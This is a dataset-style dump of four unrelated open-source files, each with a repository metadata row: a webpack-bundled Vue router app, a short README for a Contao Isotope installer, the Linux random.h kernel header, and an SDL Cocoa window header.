// resolve template/el and convert to render function
if (!options.render) {
var template = options.template;
if (template) {
if (typeof template === 'string') {
if (template.charAt(0) === '#') {
template = idToTemplate(template);
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production' && !template) {
warn(
("Template element not found or is empty: " + (options.template)),
this
);
}
}
} else if (template.nodeType) {
template = template.innerHTML;
} else {
if (process.env.NODE_ENV !== 'production') {
warn('invalid template option:' + template, this);
}
return this
}
} else if (el) {
template = getOuterHTML(el);
}
if (template) {
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production' && config.performance && mark) {
mark('compile');
}
var ref = compileToFunctions(template, {
shouldDecodeNewlines: shouldDecodeNewlines,
delimiters: options.delimiters
}, this);
var render = ref.render;
var staticRenderFns = ref.staticRenderFns;
options.render = render;
options.staticRenderFns = staticRenderFns;
/* istanbul ignore if */
if (process.env.NODE_ENV !== 'production' && config.performance && mark) {
mark('compile end');
measure(((this._name) + " compile"), 'compile', 'compile end');
}
}
}
return mount.call(this, el, hydrating)
};
/**
* Get outerHTML of elements, taking care
* of SVG elements in IE as well.
*/
function getOuterHTML (el) {
if (el.outerHTML) {
return el.outerHTML
} else {
var container = document.createElement('div');
container.appendChild(el.cloneNode(true));
return container.innerHTML
}
}
Vue$3.compile = compileToFunctions;
/* harmony default export */ __webpack_exports__["default"] = (Vue$3);
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(0), __webpack_require__(5)))
/***/ }),
/* 4 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var _vue = __webpack_require__(3);
var _vue2 = _interopRequireDefault(_vue);
var _vueRouter = __webpack_require__(2);
var _vueRouter2 = _interopRequireDefault(_vueRouter);
var _vueResource = __webpack_require__(1);
var _vueResource2 = _interopRequireDefault(_vueResource);
var _header = __webpack_require__(7);
var _header2 = _interopRequireDefault(_header);
var _chain = __webpack_require__(21);
var _chain2 = _interopRequireDefault(_chain);
var _english = __webpack_require__(22);
var _english2 = _interopRequireDefault(_english);
var _jp = __webpack_require__(25);
var _jp2 = _interopRequireDefault(_jp);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
//引入vue-resource,类似ajax
var Foo = { template: '<div>foo</div>' };
var Bar = { template: '<div>bar</div>' };
console.log(Foo);
_vue2.default.use(_vueRouter2.default);
_vue2.default.use(_vueResource2.default);
var router = new _vueRouter2.default({
routes: [{
path: '/',
name: 'headHtml',
component: _header2.default,
redirect: '/Ch'
},
// { path: '/Ch', component: Ch, name: "Ch" },
{ path: '/En', component: _english2.default }, { path: '/Jp', component: _jp2.default }]
});
var vm = new _vue2.default({
el: "#app",
router: router,
data: function data() {
return {};
},
template: '<div><headHtml /></div>',
components: {
'headHtml': _header2.default
}
});
/***/ }),
/* 5 */
/***/ (function(module, exports) {
var g;
// This works in non-strict mode
g = (function() {
return this;
})();
try {
// This works if eval is allowed (see CSP)
g = g || Function("return this")() || (1,eval)("this");
} catch(e) {
// This works if the window reference is available
if(typeof window === "object")
g = window;
}
// g can still be undefined, but nothing to do about it...
// We return undefined, instead of nothing here, so it's
// easier to handle this case. if(!global) { ...}
module.exports = g;
/***/ }),
/* 6 */
/***/ (function(module, exports) {
/* (ignored) */
/***/ }),
/* 7 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__babel_loader_node_modules_vue_loader_lib_selector_type_script_index_0_header_vue__ = __webpack_require__(8);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__node_modules_vue_loader_lib_template_compiler_index_id_data_v_bec82480_node_modules_vue_loader_lib_selector_type_template_index_0_header_vue__ = __webpack_require__(12);
var disposed = false
function injectStyle (ssrContext) {
if (disposed) return
__webpack_require__(13)
}
var normalizeComponent = __webpack_require__(11)
/* script */
/* template */
/* styles */
var __vue_styles__ = injectStyle
/* scopeId */
var __vue_scopeId__ = null
/* moduleIdentifier (server only) */
var __vue_module_identifier__ = null
var Component = normalizeComponent(
__WEBPACK_IMPORTED_MODULE_0__babel_loader_node_modules_vue_loader_lib_selector_type_script_index_0_header_vue__["a" /* default */],
__WEBPACK_IMPORTED_MODULE_1__node_modules_vue_loader_lib_template_compiler_index_id_data_v_bec82480_node_modules_vue_loader_lib_selector_type_template_index_0_header_vue__["a" /* default */],
__vue_styles__,
__vue_scopeId__,
__vue_module_identifier__
)
Component.options.__file = "myGit/vue/components/header.vue"
if (Component.esModule && Object.keys(Component.esModule).some(function (key) {return key !== "default" && key.substr(0, 2) !== "__"})) {console.error("named exports are not supported in *.vue files.")}
if (Component.options.functional) {console.error("[vue-loader] header.vue: functional components are not supported with templates, they should use render functions.")}
/* hot reload */
if (false) {(function () {
var hotAPI = require("vue-hot-reload-api")
hotAPI.install(require("vue"), false)
if (!hotAPI.compatible) return
module.hot.accept()
if (!module.hot.data) {
hotAPI.createRecord("data-v-bec82480", Component.options)
} else {
hotAPI.reload("data-v-bec82480", Component.options)
}
module.hot.dispose(function (data) {
disposed = true
})
})()}
/* harmony default export */ __webpack_exports__["default"] = (Component.exports);
/***/ }),
/* 8 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
//
//
//
//
//
//
//
//
//
/* harmony default export */ __webpack_exports__["a"] = ({});
/***/ }),
/* 9 */
/***/ (function(module, exports, __webpack_require__) {
exports = module.exports = __webpack_require__(10)();
// imports
// module
exports.push([module.i, "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", ""]);
// exports
/***/ }),
/* 10 */
/***/ (function(module, exports) {
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
// css base code, injected by the css-loader
module.exports = function() {
var list = [];
// return the list of modules as css string
list.toString = function toString() {
var result = [];
for(var i = 0; i < this.length; i++) {
var item = this[i];
if(item[2]) {
result.push("@media " + item[2] + "{" + item[1] + "}");
} else {
result.push(item[1]);
}
}
return result.join("");
};
// import a list of modules into the list
list.i = function(modules, mediaQuery) {
if(typeof modules === "string")
modules = [[null, modules, ""]];
var alreadyImportedModules = {};
for(var i = 0; i < this.length; i++) {
var id = this[i][0];
if(typeof id === "number")
alreadyImportedModules[id] = true;
}
for(i = 0; i < modules.length; i++) {
var item = modules[i];
// skip already imported module
// this implementation is not 100% perfect for weird media query combinations
// when a module is imported multiple times with different media queries.
// I hope this will never occur (Hey this way we have smaller bundles)
if(typeof item[0] !== "number" || !alreadyImportedModules[item[0]]) {
if(mediaQuery && !item[2]) {
item[2] = mediaQuery;
} else if(mediaQuery) {
item[2] = "(" + item[2] + ") and (" + mediaQuery + ")";
}
list.push(item);
}
}
};
return list;
};
/***/ }),
/* 11 */
/***/ (function(module, exports) {
/* globals __VUE_SSR_CONTEXT__ */
// this module is a runtime utility for cleaner component module output and will
// be included in the final webpack user bundle
module.exports = function normalizeComponent (
rawScriptExports,
compiledTemplate,
injectStyles,
scopeId,
moduleIdentifier /* server only */
) {
var esModule
var scriptExports = rawScriptExports = rawScriptExports || {}
// ES6 modules interop
var type = typeof rawScriptExports.default
if (type === 'object' || type === 'function') {
esModule = rawScriptExports
scriptExports = rawScriptExports.default
}
// Vue.extend constructor export interop
var options = typeof scriptExports === 'function'
? scriptExports.options
: scriptExports
// render functions
if (compiledTemplate) {
options.render = compiledTemplate.render
options.staticRenderFns = compiledTemplate.staticRenderFns
}
// scopedId
if (scopeId) {
options._scopeId = scopeId
}
var hook
if (moduleIdentifier) { // server build
hook = function (context) {
// 2.3 injection
context =
context || // cached call
(this.$vnode && this.$vnode.ssrContext) || // stateful
(this.parent && this.parent.$vnode && this.parent.$vnode.ssrContext) // functional
// 2.2 with runInNewContext: true
if (!context && typeof __VUE_SSR_CONTEXT__ !== 'undefined') {
context = __VUE_SSR_CONTEXT__
}
// inject component styles
if (injectStyles) {
injectStyles.call(this, context)
}
// register component module identifier for async chunk inferrence
if (context && context._registeredComponents) {
context._registeredComponents.add(moduleIdentifier)
}
}
// used by ssr in case component is cached and beforeCreate
// never gets called
options._ssrRegister = hook
} else if (injectStyles) {
hook = injectStyles
}
if (hook) {
var functional = options.functional
var existing = functional
? options.render
: options.beforeCreate
if (!functional) {
// inject component registration as beforeCreate hook
options.beforeCreate = existing
? [].concat(existing, hook)
: [hook]
} else {
// register for functioal component in vue file
options.render = function renderWithStyleInjection (h, context) {
hook.call(context)
return existing(h, context)
}
}
}
return {
esModule: esModule,
exports: scriptExports,
options: options
}
}
/***/ }),
/* 12 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;
return _c('aside', [_c('router-link', {
attrs: {
"to": "/Ch"
}
}, [_vm._v("汉语")]), _vm._v(" "), _c('router-link', {
attrs: {
"to": "/En"
}
}, [_vm._v("英语课")]), _vm._v(" "), _c('router-link', {
attrs: {
"to": "/Jp"
}
}, [_vm._v("日语")]), _vm._v(" "), _c('router-view')], 1)
}
var staticRenderFns = []
render._withStripped = true
/* harmony default export */ __webpack_exports__["a"] = ({ render: render, staticRenderFns: staticRenderFns });
if (false) {
module.hot.accept()
if (module.hot.data) {
require("vue-hot-reload-api").rerender("data-v-bec82480", module.exports)
}
}
/***/ }),
/* 13 */
/***/ (function(module, exports, __webpack_require__) {
// style-loader: Adds some css to the DOM by adding a <style> tag
// load the styles
var content = __webpack_require__(9);
if(typeof content === 'string') content = [[module.i, content, '']];
if(content.locals) module.exports = content.locals;
// add the styles to the DOM
var update = __webpack_require__(14)("37f4116b", content, false);
// Hot Module Replacement
if(false) {
// When the styles change, update the <style> tags
if(!content.locals) {
module.hot.accept("!!../../../node_modules/css-loader/index.js!../../../node_modules/vue-loader/lib/style-compiler/index.js?{\"vue\":true,\"id\":\"data-v-bec82480\",\"scoped\":false,\"hasInlineConfig\":false}!../../../node_modules/vue-loader/lib/selector.js?type=styles&index=0!./header.vue", function() {
var newContent = require("!!../../../node_modules/css-loader/index.js!../../../node_modules/vue-loader/lib/style-compiler/index.js?{\"vue\":true,\"id\":\"data-v-bec82480\",\"scoped\":false,\"hasInlineConfig\":false}!../../../node_modules/vue-loader/lib/selector.js?type=styles&index=0!./header.vue");
if(typeof newContent === 'string') newContent = [[module.id, newContent, '']];
update(newContent);
});
}
// When the module is disposed, remove the <style> tags
module.hot.dispose(function() { update(); });
}
/***/ }),
/* 14 */
/***/ (function(module, exports, __webpack_require__) {
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
Modified by Evan You @yyx990803
*/
var hasDocument = typeof document !== 'undefined'
if (typeof DEBUG !== 'undefined' && DEBUG) {
if (!hasDocument) {
throw new Error(
'vue-style-loader cannot be used in a non-browser environment. ' +
"Use { target: 'node' } in your Webpack config to indicate a server-rendering environment."
) }
}
var listToStyles = __webpack_require__(15)
/*
type StyleObject = {
id: number;
parts: Array<StyleObjectPart>
}
type StyleObjectPart = {
css: string;
media: string;
sourceMap: ?string
}
*/
var stylesInDom = {/*
[id: number]: {
id: number,
refs: number,
parts: Array<(obj?: StyleObjectPart) => void>
}
*/}
var head = hasDocument && (document.head || document.getElementsByTagName('head')[0])
var singletonElement = null
var singletonCounter = 0
var isProduction = false
var noop = function () {}
// Force single-tag solution on IE6-9, which has a hard limit on the # of <style>
// tags it will allow on a page
var isOldIE = typeof navigator !== 'undefined' && /msie [6-9]\b/.test(navigator.userAgent.toLowerCase())
module.exports = function (parentId, list, _isProduction) {
isProduction = _isProduction
var styles = listToStyles(parentId, list)
addStylesToDom(styles)
return function update (newList) {
var mayRemove = []
for (var i = 0; i < styles.length; i++) {
var item = styles[i]
var domStyle = stylesInDom[item.id]
domStyle.refs--
mayRemove.push(domStyle)
}
if (newList) {
styles = listToStyles(parentId, newList)
addStylesToDom(styles)
} else {
styles = []
}
for (var i = 0; i < mayRemove.length; i++) {
var domStyle = mayRemove[i]
if (domStyle.refs === 0) {
for (var j = 0; j < domStyle.parts.length; j++) {
domStyle.parts[j]()
}
delete stylesInDom[domStyle.id]
}
}
}
}
function addStylesToDom (styles /* Array<StyleObject> */) {
for (var i = 0; i < styles.length; i++) {
var item = styles[i]
var domStyle = stylesInDom[item.id]
if (domStyle) {
domStyle.refs++
for (var j = 0; j < domStyle.parts.length; j++) {
domStyle.parts[j](item.parts[j])
}
for (; j < item.parts.length; j++) {
domStyle.parts.push(addStyle(item.parts[j]))
}
if (domStyle.parts.length > item.parts.length) {
domStyle.parts.length = item.parts.length
}
} else {
var parts = []
for (var j = 0; j < item.parts.length; j++) {
parts.push(addStyle(item.parts[j]))
}
stylesInDom[item.id] = { id: item.id, refs: 1, parts: parts }
}
}
}
function createStyleElement () {
var styleElement = document.createElement('style')
styleElement.type = 'text/css'
head.appendChild(styleElement)
return styleElement
}
function addStyle (obj /* StyleObjectPart */) {
var update, remove
var styleElement = document.querySelector('style[data-vue-ssr-id~="' + obj.id + '"]')
if (styleElement) {
if (isProduction) {
// has SSR styles and in production mode.
// simply do nothing.
return noop
} else {
// has SSR styles but in dev mode.
// for some reason Chrome can't handle source map in server-rendered
// style tags - source maps in <style> only works if the style tag is
// created and inserted dynamically. So we remove the server rendered
// styles and inject new ones.
styleElement.parentNode.removeChild(styleElement)
}
}
if (isOldIE) {
// use singleton mode for IE9.
var styleIndex = singletonCounter++
styleElement = singletonElement || (singletonElement = createStyleElement())
update = applyToSingletonTag.bind(null, styleElement, styleIndex, false)
remove = applyToSingletonTag.bind(null, styleElement, styleIndex, true)
} else {
// use multi-style-tag mode in all other cases
styleElement = createStyleElement()
update = applyToTag.bind(null, styleElement)
remove = function () {
styleElement.parentNode.removeChild(styleElement)
}
}
update(obj)
return function updateStyle (newObj /* StyleObjectPart */) {
if (newObj) {
if (newObj.css === obj.css &&
newObj.media === obj.media &&
newObj.sourceMap === obj.sourceMap) {
return
}
update(obj = newObj)
} else {
remove()
}
}
}
var replaceText = (function () {
var textStore = []
return function (index, replacement) {
textStore[index] = replacement
return textStore.filter(Boolean).join('\n')
}
})()
function applyToSingletonTag (styleElement, index, remove, obj) {
var css = remove ? '' : obj.css
if (styleElement.styleSheet) {
styleElement.styleSheet.cssText = replaceText(index, css)
} else {
var cssNode = document.createTextNode(css)
var childNodes = styleElement.childNodes
if (childNodes[index]) styleElement.removeChild(childNodes[index])
if (childNodes.length) {
styleElement.insertBefore(cssNode, childNodes[index])
} else {
styleElement.appendChild(cssNode)
}
}
}
function applyToTag (styleElement, obj) {
var css = obj.css
var media = obj.media
var sourceMap = obj.sourceMap
if (media) {
styleElement.setAttribute('media', media)
}
if (sourceMap) {
// https://developer.chrome.com/devtools/docs/javascript-debugging
// this makes source maps inside style tags work properly in Chrome
css += '\n/*# sourceURL=' + sourceMap.sources[0] + ' */'
// http://stackoverflow.com/a/26603875
css += '\n/*# sourceMappingURL=data:application/json;base64,' + btoa(unescape(encodeURIComponent(JSON.stringify(sourceMap)))) + ' */'
}
if (styleElement.styleSheet) {
styleElement.styleSheet.cssText = css
} else {
while (styleElement.firstChild) {
styleElement.removeChild(styleElement.firstChild)
}
styleElement.appendChild(document.createTextNode(css))
}
}
/***/ }),
/* 15 */
/***/ (function(module, exports) {
/**
* Translates the list format produced by css-loader into something
* easier to manipulate.
*/
module.exports = function listToStyles (parentId, list) {
var styles = []
var newStyles = {}
for (var i = 0; i < list.length; i++) {
var item = list[i]
var id = item[0]
var css = item[1]
var media = item[2]
var sourceMap = item[3]
var part = {
id: parentId + ':' + i,
css: css,
media: media,
sourceMap: sourceMap
}
if (!newStyles[id]) {
styles.push(newStyles[id] = { id: id, parts: [part] })
} else {
newStyles[id].parts.push(part)
}
}
return styles
}
/***/ }),
/* 16 */,
/* 17 */,
/* 18 */,
/* 19 */,
/* 20 */,
/* 21 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__node_modules_vue_loader_lib_template_compiler_index_id_data_v_373d7a9c_node_modules_vue_loader_lib_selector_type_template_index_0_chain_vue__ = __webpack_require__(23);
var disposed = false
var normalizeComponent = __webpack_require__(11)
/* script */
var __vue_script__ = null
/* template */
/* styles */
var __vue_styles__ = null
/* scopeId */
var __vue_scopeId__ = null
/* moduleIdentifier (server only) */
var __vue_module_identifier__ = null
var Component = normalizeComponent(
__vue_script__,
__WEBPACK_IMPORTED_MODULE_0__node_modules_vue_loader_lib_template_compiler_index_id_data_v_373d7a9c_node_modules_vue_loader_lib_selector_type_template_index_0_chain_vue__["a" /* default */],
__vue_styles__,
__vue_scopeId__,
__vue_module_identifier__
)
Component.options.__file = "myGit/vue/components/header/chain.vue"
if (Component.esModule && Object.keys(Component.esModule).some(function (key) {return key !== "default" && key.substr(0, 2) !== "__"})) {console.error("named exports are not supported in *.vue files.")}
if (Component.options.functional) {console.error("[vue-loader] chain.vue: functional components are not supported with templates, they should use render functions.")}
/* hot reload */
if (false) {(function () {
var hotAPI = require("vue-hot-reload-api")
hotAPI.install(require("vue"), false)
if (!hotAPI.compatible) return
module.hot.accept()
if (!module.hot.data) {
hotAPI.createRecord("data-v-373d7a9c", Component.options)
} else {
hotAPI.reload("data-v-373d7a9c", Component.options)
}
module.hot.dispose(function (data) {
disposed = true
})
})()}
/* harmony default export */ __webpack_exports__["default"] = (Component.exports);
/***/ }),
/* 22 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__babel_loader_node_modules_vue_loader_lib_selector_type_script_index_0_english_vue__ = __webpack_require__(27);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__node_modules_vue_loader_lib_template_compiler_index_id_data_v_523584a1_node_modules_vue_loader_lib_selector_type_template_index_0_english_vue__ = __webpack_require__(24);
var disposed = false
var normalizeComponent = __webpack_require__(11)
/* script */
/* template */
/* styles */
var __vue_styles__ = null
/* scopeId */
var __vue_scopeId__ = null
/* moduleIdentifier (server only) */
var __vue_module_identifier__ = null
var Component = normalizeComponent(
__WEBPACK_IMPORTED_MODULE_0__babel_loader_node_modules_vue_loader_lib_selector_type_script_index_0_english_vue__["a" /* default */],
__WEBPACK_IMPORTED_MODULE_1__node_modules_vue_loader_lib_template_compiler_index_id_data_v_523584a1_node_modules_vue_loader_lib_selector_type_template_index_0_english_vue__["a" /* default */],
__vue_styles__,
__vue_scopeId__,
__vue_module_identifier__
)
Component.options.__file = "myGit/vue/components/header/english.vue"
if (Component.esModule && Object.keys(Component.esModule).some(function (key) {return key !== "default" && key.substr(0, 2) !== "__"})) {console.error("named exports are not supported in *.vue files.")}
if (Component.options.functional) {console.error("[vue-loader] english.vue: functional components are not supported with templates, they should use render functions.")}
/* hot reload */
if (false) {(function () {
var hotAPI = require("vue-hot-reload-api")
hotAPI.install(require("vue"), false)
if (!hotAPI.compatible) return
module.hot.accept()
if (!module.hot.data) {
hotAPI.createRecord("data-v-523584a1", Component.options)
} else {
hotAPI.reload("data-v-523584a1", Component.options)
}
module.hot.dispose(function (data) {
disposed = true
})
})()}
/* harmony default export */ __webpack_exports__["default"] = (Component.exports);
/***/ }),
/* 23 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;
return _c('div', [_vm._v("1")])
}
var staticRenderFns = []
render._withStripped = true
/* harmony default export */ __webpack_exports__["a"] = ({ render: render, staticRenderFns: staticRenderFns });
if (false) {
module.hot.accept()
if (module.hot.data) {
require("vue-hot-reload-api").rerender("data-v-373d7a9c", module.exports)
}
}
/***/ }),
/* 24 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;
return _c('div', [_vm._v("2")])
}
var staticRenderFns = []
render._withStripped = true
/* harmony default export */ __webpack_exports__["a"] = ({ render: render, staticRenderFns: staticRenderFns });
if (false) {
module.hot.accept()
if (module.hot.data) {
require("vue-hot-reload-api").rerender("data-v-523584a1", module.exports)
}
}
/***/ }),
/* 25 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__node_modules_vue_loader_lib_template_compiler_index_id_data_v_61a6a1a5_node_modules_vue_loader_lib_selector_type_template_index_0_jp_vue__ = __webpack_require__(26);
var disposed = false
var normalizeComponent = __webpack_require__(11)
/* script */
var __vue_script__ = null
/* template */
/* styles */
var __vue_styles__ = null
/* scopeId */
var __vue_scopeId__ = null
/* moduleIdentifier (server only) */
var __vue_module_identifier__ = null
var Component = normalizeComponent(
__vue_script__,
__WEBPACK_IMPORTED_MODULE_0__node_modules_vue_loader_lib_template_compiler_index_id_data_v_61a6a1a5_node_modules_vue_loader_lib_selector_type_template_index_0_jp_vue__["a" /* default */],
__vue_styles__,
__vue_scopeId__,
__vue_module_identifier__
)
Component.options.__file = "myGit/vue/components/header/jp.vue"
if (Component.esModule && Object.keys(Component.esModule).some(function (key) {return key !== "default" && key.substr(0, 2) !== "__"})) {console.error("named exports are not supported in *.vue files.")}
if (Component.options.functional) {console.error("[vue-loader] jp.vue: functional components are not supported with templates, they should use render functions.")}
/* hot reload */
if (false) {(function () {
var hotAPI = require("vue-hot-reload-api")
hotAPI.install(require("vue"), false)
if (!hotAPI.compatible) return
module.hot.accept()
if (!module.hot.data) {
hotAPI.createRecord("data-v-61a6a1a5", Component.options)
} else {
hotAPI.reload("data-v-61a6a1a5", Component.options)
}
module.hot.dispose(function (data) {
disposed = true
})
})()}
/* harmony default export */ __webpack_exports__["default"] = (Component.exports);
/***/ }),
/* 26 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;
return _c('div', [_vm._v("3")])
}
var staticRenderFns = []
render._withStripped = true
/* harmony default export */ __webpack_exports__["a"] = ({ render: render, staticRenderFns: staticRenderFns });
if (false) {
module.hot.accept()
if (module.hot.data) {
require("vue-hot-reload-api").rerender("data-v-61a6a1a5", module.exports)
}
}
/***/ }),
/* 27 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
//
//
//
/* harmony default export */ __webpack_exports__["a"] = ({});
/***/ })
/******/ ]);
|
appqian/vue
|
src/index.js
|
JavaScript
|
gpl-2.0
| 390,912
|
contao_isotope_installer
========================
A set of tools to quickly install some of the basics for an Isotope eCommerce System.
|
hb-agency/contao_isotope_installer
|
README.md
|
Markdown
|
gpl-2.0
| 137
|
#ifndef _LINUX_RANDOM_H
#define _LINUX_RANDOM_H
#include <linux/types.h>
#include <linux/ioctl.h>
#include <linux/irqnr.h>
#define RNDGETENTCNT _IOR( 'R', 0x00, int )
#define RNDADDTOENTCNT _IOW( 'R', 0x01, int )
#define RNDGETPOOL _IOR( 'R', 0x02, int [2] )
#define RNDADDENTROPY _IOW( 'R', 0x03, int [2] )
#define RNDZAPENTCNT _IO( 'R', 0x04 )
#define RNDCLEARPOOL _IO( 'R', 0x06 )
struct rand_pool_info {
int entropy_count;
int buf_size;
__u32 buf[0];
};
#ifdef __KERNEL__
extern void rand_initialize_irq(int irq);
extern void add_input_randomness(unsigned int type, unsigned int code,
unsigned int value);
extern void add_interrupt_randomness(int irq);
extern void get_random_bytes(void *buf, int nbytes);
void generate_random_uuid(unsigned char uuid_out[16]);
extern __u32 secure_ip_id(__be32 daddr);
extern u32 secure_ipv4_port_ephemeral(__be32 saddr, __be32 daddr, __be16 dport);
extern u32 secure_ipv6_port_ephemeral(const __be32 *saddr, const __be32 *daddr,
__be16 dport);
extern __u32 secure_tcp_sequence_number(__be32 saddr, __be32 daddr,
__be16 sport, __be16 dport);
extern __u32 secure_tcpv6_sequence_number(__be32 *saddr, __be32 *daddr,
__be16 sport, __be16 dport);
extern u64 secure_dccp_sequence_number(__be32 saddr, __be32 daddr,
__be16 sport, __be16 dport);
#ifndef MODULE
extern const struct file_operations random_fops, urandom_fops;
#endif
unsigned int get_random_int(void);
unsigned long randomize_range(unsigned long start, unsigned long end, unsigned long len);
u32 random32(void);
void srandom32(u32 seed);
#endif
#endif
|
leemgs/OptimusOneKernel-KandroidCommunity
|
include/linux/random.h
|
C
|
gpl-2.0
| 1,619
|
/*
Simple DirectMedia Layer
Copyright (C) 1997-2012 Sam Lantinga <slouken@libsdl.org>
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
*/
#include "SDL_config.h"
#ifndef _SDL_cocoawindow_h
#define _SDL_cocoawindow_h
#import <Cocoa/Cocoa.h>
typedef struct SDL_WindowData SDL_WindowData;
/* *INDENT-OFF* */
#if MAC_OS_X_VERSION_MIN_REQUIRED >= 1060
@interface Cocoa_WindowListener : NSResponder <NSWindowDelegate> {
#else
@interface Cocoa_WindowListener : NSResponder {
#endif
SDL_WindowData *_data;
}
-(void) listen:(SDL_WindowData *) data;
-(void) close;
/* Window delegate functionality */
-(BOOL) windowShouldClose:(id) sender;
-(void) windowDidExpose:(NSNotification *) aNotification;
-(void) windowDidMove:(NSNotification *) aNotification;
-(void) windowDidResize:(NSNotification *) aNotification;
-(void) windowDidMiniaturize:(NSNotification *) aNotification;
-(void) windowDidDeminiaturize:(NSNotification *) aNotification;
-(void) windowDidBecomeKey:(NSNotification *) aNotification;
-(void) windowDidResignKey:(NSNotification *) aNotification;
/* Window event handling */
-(void) mouseDown:(NSEvent *) theEvent;
-(void) rightMouseDown:(NSEvent *) theEvent;
-(void) otherMouseDown:(NSEvent *) theEvent;
-(void) mouseUp:(NSEvent *) theEvent;
-(void) rightMouseUp:(NSEvent *) theEvent;
-(void) otherMouseUp:(NSEvent *) theEvent;
-(void) mouseMoved:(NSEvent *) theEvent;
-(void) mouseDragged:(NSEvent *) theEvent;
-(void) rightMouseDragged:(NSEvent *) theEvent;
-(void) otherMouseDragged:(NSEvent *) theEvent;
-(void) scrollWheel:(NSEvent *) theEvent;
-(void) touchesBeganWithEvent:(NSEvent *) theEvent;
-(void) touchesMovedWithEvent:(NSEvent *) theEvent;
-(void) touchesEndedWithEvent:(NSEvent *) theEvent;
-(void) touchesCancelledWithEvent:(NSEvent *) theEvent;
/* Touch event handling */
typedef enum {
COCOA_TOUCH_DOWN,
COCOA_TOUCH_UP,
COCOA_TOUCH_MOVE,
COCOA_TOUCH_CANCELLED
} cocoaTouchType;
-(void) handleTouches:(cocoaTouchType)type withEvent:(NSEvent*) event;
@end
/* *INDENT-ON* */
struct SDL_WindowData
{
SDL_Window *window;
NSWindow *nswindow;
SDL_bool created;
Cocoa_WindowListener *listener;
struct SDL_VideoData *videodata;
};
extern int Cocoa_CreateWindow(_THIS, SDL_Window * window);
extern int Cocoa_CreateWindowFrom(_THIS, SDL_Window * window,
const void *data);
extern void Cocoa_SetWindowTitle(_THIS, SDL_Window * window);
extern void Cocoa_SetWindowIcon(_THIS, SDL_Window * window, SDL_Surface * icon);
extern void Cocoa_SetWindowPosition(_THIS, SDL_Window * window);
extern void Cocoa_SetWindowSize(_THIS, SDL_Window * window);
extern void Cocoa_SetWindowMinimumSize(_THIS, SDL_Window * window);
extern void Cocoa_ShowWindow(_THIS, SDL_Window * window);
extern void Cocoa_HideWindow(_THIS, SDL_Window * window);
extern void Cocoa_RaiseWindow(_THIS, SDL_Window * window);
extern void Cocoa_MaximizeWindow(_THIS, SDL_Window * window);
extern void Cocoa_MinimizeWindow(_THIS, SDL_Window * window);
extern void Cocoa_RestoreWindow(_THIS, SDL_Window * window);
extern void Cocoa_SetWindowBordered(_THIS, SDL_Window * window, SDL_bool bordered);
extern void Cocoa_SetWindowFullscreen(_THIS, SDL_Window * window, SDL_VideoDisplay * display, SDL_bool fullscreen);
extern int Cocoa_SetWindowGammaRamp(_THIS, SDL_Window * window, const Uint16 * ramp);
extern int Cocoa_GetWindowGammaRamp(_THIS, SDL_Window * window, Uint16 * ramp);
extern void Cocoa_SetWindowGrab(_THIS, SDL_Window * window, SDL_bool grabbed);
extern void Cocoa_DestroyWindow(_THIS, SDL_Window * window);
extern SDL_bool Cocoa_GetWindowWMInfo(_THIS, SDL_Window * window,
struct SDL_SysWMinfo *info);
#endif /* _SDL_cocoawindow_h */
/* vi: set ts=4 sw=4 expandtab: */
|
ashishlal/pjproject-2.0.1
|
third_party/sdl/src/video/cocoa/SDL_cocoawindow.h
|
C
|
gpl-2.0
| 4,577
|